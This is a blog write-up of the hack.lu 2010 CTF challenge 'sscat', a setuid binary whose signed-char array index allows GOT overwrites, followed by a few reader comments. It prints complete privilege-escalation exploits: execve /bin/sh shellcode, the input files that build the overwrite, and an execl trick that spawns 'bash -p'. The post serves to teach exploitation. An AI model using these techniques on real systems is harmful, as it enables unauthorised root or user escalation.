Saturday, October 30, 2010

Hack.lu CTF - sscat writeup

Last week was hack.lu 2010 security conference as well a high quality CTF organized by fluxfingers CTF team. Again I played with Nibbles and we ended 2nd as you can see on the final scoreboard and my usual graphs (made possible thanks to fluxfingers).

Challenge 20 was a very nice exploitation level. We were given an SSH with a setuid binary called sscat (standing for Serious Substition Cipher Analysis Tool) - with source. We had to exploit the program in order to read the flag file.

Recon

As one can see in the source code sscat opens file1-20:
for (j = 1; j <= 20; j++) {
  sprintf(filename, "%s%d", "file", j);
  fp = fopen(filename, "rb");
Then it reads every character in each file and increments an array of ints letter_count indexed by the char value:
  for (i = 0; i < MAX_ALLOWED_BYTES && !feof(fp); i++) {
    curr_letter = getc(fp);
    letter_count[curr_letter]++;

Where letter_count has been declared as a global variable outside of main (so it's in the .bss):
static int letter_count[256];
It then prints out the frequency analysis.

Let's try it in a /tmp directory, with a symlink to the flag:
$ mkdir /tmp/stalkr ; cd /tmp/stalkr
$ ln -s ~/flag file1
$ ~/sscat
-= SSCAT =-
-= Serious Substition Cipher Analysis Tool =-

[x]Processing file1 now!
[x]Letter A was found 2 time(s)!
[x]Letter B was found 1 time(s)!
[x]Letter D was found 1 time(s)!
[x]Letter E was found 3 time(s)!
[x]Letter G was found 1 time(s)!
[x]Letter H was found 1 time(s)!
[x]Letter I was found 1 time(s)!
[x]Letter L was found 3 time(s)!
[x]Letter N was found 1 time(s)!
[x]Letter O was found 2 time(s)!
[x]Letter R was found 1 time(s)!
[x]Letter S was found 2 time(s)!
[x]Letter T was found 1 time(s)!
[x]Letter U was found 3 time(s)!
[x]Letter X was found 1 time(s)!
[x]Letter Y was found 2 time(s)!

[!]file2 does not exist! Analysis ends now!
Analysis finished!
Thanks for using SSCAT!
Too many combinations for the password, it's useless.


Check your man

According to getc manual: fgetc(), getc() and getchar() return the character read as an unsigned char cast to an int or EOF on end of file or error. Interesting, so any character above 127 becomes a negative index in the array, giving us an 4 bytes aligned increment in the [&letter_count-4*127 ; &letter_count+4*127] area (approximately).

Armed with a cool .gdbinit, let's check the disassembly with gdb:
$ gdb -q ~/sscat
gdb$ disass main
[...]
0x0804865e <main+235>:  call   0x804846c <_IO_getc@plt>
0x08048663 <main+240>:  mov    BYTE PTR [ebp-0x9],al
0x08048666 <main+243>:  movsx  eax,BYTE PTR [ebp-0x9]
0x0804866a <main+247>:  inc    DWORD PTR [eax*4+0x8049aa0]
[...]
Oh indeed, it's using movsx (Move with Sign-Extension), when the secure thing would have been movzx (Move with Zero-Extend).

Let's try with char 0xFF, which is -1 when signed:
gdb$ shell echo -ne "\xff" > file1
gdb$ b *0x0804866a
gdb$ r
[...]
Breakpoint 1 at 0x804866a
gdb$ p $eax
$1 = 0xffffffff
gdb$ x/x $eax*4+0x8049aa0
0x8049a9c:      0x00000000
gdb$ ni
gdb$ x/x $eax*4+0x8049aa0
0x8049a9c:      0x00000001
gdb$ x/8x &letter_count-0x4
0x8049a90:      0x00000000      0x00000000      0x00000000      0x00000001
0x8049aa0 <letter_count>:       0x00000000      0x00000000      0x00000000      0x00000000
Yay, we just did: letter_count[-1]++, but how can that be useful :)


What's around?

Using gdb, analyze the memory before letter_count:
gdb$ x/64x &letter_count-0x20
0x8049a20 <_DYNAMIC+192>:       0x00000000      0x00000000      0x00000000      0x08049960
0x8049a30 <_GLOBAL_OFFSET_TABLE_+4>:    0xb77d88f8      0xb77cf3b0      0xb76ab320      0x080483f2
0x8049a40 <_GLOBAL_OFFSET_TABLE_+20>:   0xb76a9cc0      0x08048412      0xb7662af0      0xb7693130
0x8049a50 <_GLOBAL_OFFSET_TABLE_+36>:   0x08048442      0xb76a8420      0xb76931b0      0xb76ab9a0
0x8049a60 <_GLOBAL_OFFSET_TABLE_+52>:   0x08048482      0x00000000      0x00000000      0x08049958
0x8049a70:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049a80 <stderr@@GLIBC_2.0>:  0xb77a2580      0x00000000      0x00000000      0x00000000
0x8049a90:      0x00000000      0x00000000      0x00000000      0x00000001
0x8049aa0 <letter_count>:       0x00000000      0x00000000      0x00000000      0x00000000
0x8049ab0 <letter_count+16>:    0x00000000      0x00000000      0x00000000      0x00000000
0x8049ac0 <letter_count+32>:    0x00000000      0x00000000      0x00000000      0x00000000
We have the GOT, Global Offset Table! We could update one of these pointers so that when a function is first called, we control EIP (well, not entirely because we don't have infinite increments).


Rewrite sleep@GOT

When main ends, it returns fini(0) which is basically:
int fini(int exit)
{
  sleep(1);
  puts("Analysis finished!");
  puts("Thanks for using SSCAT!");
  return exit;
}
sleep sounds a good candidate for its rewrite in the GOT.

Find where is its pointer exactly in the GOT:
gdb$ disass fini
[...]
0x08048551 <fini+13>:   call   0x804840c <sleep@plt>
[...]
gdb$ disass 0x804840c
Dump of assembler code for function sleep@plt:
0x0804840c <sleep@plt+0>:       jmp    DWORD PTR ds:0x8049a44
[...]
Ok it's 0x8049a44. Calculate the character that will increment this address:
>>> 256-(0x8049aa0-0x8049a44)/4
233
>>> '%x' % _
'e9'
Let's try:
gdb$ shell echo -ne "\xe9" > file1
gdb$ r
[...]
Breakpoint 1, 0x0804866a in main ()
gdb$ x/x $eax*4+0x8049aa0
0x8049a44 <_GLOBAL_OFFSET_TABLE_+24>:   0x08048412
gdb$ ni
gdb$ x/x $eax*4+0x8049aa0
0x8049a44 <_GLOBAL_OFFSET_TABLE_+24>:   0x08048413
Good! Sadly we can't update this address to somewhere in the stack because it would require too many increments, and we only have at maximum: MAX_ALLOWED_BYTES*number of files that can be analyzed = (256*256)*20 = 1310720 increments.


Build a JMP in letter_count

From there you can find different exploitations, but in my opinion the most straightforward is to build a "jmp <shellcode address>" somewhere in the area we control with increments (let's say simply where letter_count starts). Yes it's feasible! Let's see how.

We will use the JMP (E9) instruction:
$ echo -ne "\xE9\xef\xeb\xad\xde" |ndisasm -u -
00000000  E9EFEBADDE        jmp dword 0xdeadebf4
It is built using E9 + address, where address = destination-(source+5). Source is the current EIP, plus 5 because it's the length of the JMP instruction with its argument, and destination is the address where you want to jump.

Imagine we write a JMP like that in letter_count:
0x8049aa0 <letter_count>:       0x0000E900     0x0000AABB
By jumping to 0x8049aa1 using our rewrite of sleep@GOT, we would jump to some address for which we control the two higher bytes. Since the environment is allowed and there is no ASLR or stack -x, we could then place a shellcode there.


Exploitation

First, calculate the two lower bytes we have to increment:
>>> '0x%08x' % (0xBFFF0000-(0x8049aa1+5))
'0xb7fa655a'
If we write B7FA or B7FB, what does it give:
$ echo -ne "\xE9\x00\x00\xfa\xb7" |ndisasm -o 0x8049aa1 -u -
08049AA1  E90000FAB7        jmp dword 0xbffe9aa6
$ echo -ne "\xE9\x00\x00\xfb\xb7" |ndisasm -o 0x8049aa1 -u -
08049AA1  E90000FBB7        jmp dword 0xbfff9aa6
We take the lowest, so B7FB. Now we just need to put a shellcode at 0xbfff9aa6 and it will jump on it! How? By using a big nopsled (\x90 NOP instruction) in front of your shellcode, or a padding at the end of the shellcode. For the beauty of it, I choose the padding:
$ echo -e '#include <stdio.h>\n#include <stdlib.h>\nint main(){printf("%p\\n",getenv("S"));}' > envsc.c
$ gcc -o envsc envsc.c
$ env -i "S=$(python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')" ./envsc
0xbfffffdc
[... and after a few tries for the right padding ...]
$ env -i "S=$(python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"A"*25910')" ./envsc
0xbfff9aa6
We are ready!

Build the first file to update sleep@GOT to &letter_count+1, 0x8049aa0-0x8048412+1 = 5775:
$ python -c 'print chr(233)*5775' > file1
Then two files for the small JMP:
$ python -c 'print chr(0)*0xE900' > file2
$ python -c 'print chr(1)*0xB7FB' > file3
And, exploit!
$ env -i "S=$(python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"A"*25910')" ./sscat
-= SSCAT =-
-= Serious Substition Cipher Analysis Tool =-

[x]Processing file1 now!
[x]Processing file2 now!
[x]Processing file3 now!

[!]file4 does not exist! Analysis ends now!
$ id
uid=1000(ctf) gid=1000(ctf) euid=1001(winner) egid=1001(winner) groups=1000(ctf)
$ cd /home/ctf
$ cat flag
!SIGNEDHAX_YOU_ABSOLUTELY_RULE!
Win!


Cooler technique: rewrite puts@GOT to execl

Hellman (@hellman1908) of LeetMore used a simpler technique replacing puts() in fini() by execl():
int fini(int exit)
{
  sleep(1);
  puts("Analysis finished!");
Then, just create the file "Analysis finished!" and it'll be executed by execl(). This solution has the cool advantage to be ASLR & NX resistant!

Where is execl?
gdb$ p &execl
$1 = (<text variable, no debug info>>*) 0x001cbba0 <execl>
Where is puts@GOT, and what is its value?
gdb$ disass fini
0x0804855d <+25>:    call   0x80483fc <puts@plt>

gdb$ disass 0x80483fc
0x080483fc <+0>:     jmp    DWORD PTR ds:0x8049a40

# initially
gdb$ x/x 0x8049a40
0x8049a40 <_GLOBAL_OFFSET_TABLE_+20>:   0x08048402

# at the moment of the increment
gdb$ x/x 0x8049a40
0x8049a40 <_GLOBAL_OFFSET_TABLE_+20>:   0x00191700
Luckily it's 0x00191700 and no longer the default 0x08048402 because it has already been called and resolved (that's how the GOT/PLT works, see this among other resources if you're not familiar with it). Otherwise, it would have been impossible to update it to &execl. Also, the good thing is that &puts < &execl so we can increment to it.
Since these conditions are true, this exploitation is possible!

Which char takes us to that address?
>>> 256-(0x8049aa0-0x8049a40)/4
232
How many repeats?
>>> n=0x001cbba0-0x00191700
>>> n
238752
>>> n/65536
3
>>> n%65536
42144
Three files full (65536) + one file with 42144 repetitions:
$ python -c 'print chr(232)*65536' > file1
$ python -c 'print chr(232)*65536' > file2
$ python -c 'print chr(232)*65536' > file3
$ python -c 'print chr(232)*42144' > file4
Prepare the file to run (don't forget bash -p to avoid bash dropping euid):
$ echo -e '#!/bin/sh\n/bin/bash -p' > 'Analysis finished!'
$ chmod a+x 'Analysis finished!'
Exploit!
$ ./sscat
-= SSCAT =-
-= Serious Substition Cipher Analysis Tool =-

[x]Processing file1 now!
[!]File file1 is too big! Will not continue reading
[x]Processing file2 now!
[!]File file2 is too big! Will not continue reading
[x]Processing file3 now!
[!]File file3 is too big! Will not continue reading
[x]Processing file4 now!

[!]file5 does not exist! Analysis ends now!
bash-4.1$ id
uid=1000(ctf) gid=1000(ctf) euid=1001(winner) egid=1001(winner) groups=1000(ctf)
Win!


For those who liked the challenge, on IO wargame at SmashTheStack wargaming network, you can find a similar exploitation challenge. You should give it a try! ;)

5 comments:

  1. Cool technique. I got used to nx bit from magicwall task and forgotten about shellcodes ^^
    I made puts@GOT pointing to execl, created file "Analysis Finished!" and added . to PATH :)

    ReplyDelete
  2. Oh indeed cooler technique! nice one :)

    ReplyDelete
  3. I've updated the post with your exploitation technique using execl :)

    ReplyDelete
  4. nice :)
    didn't know that execl searches in . even if it's not in PATH

    ReplyDelete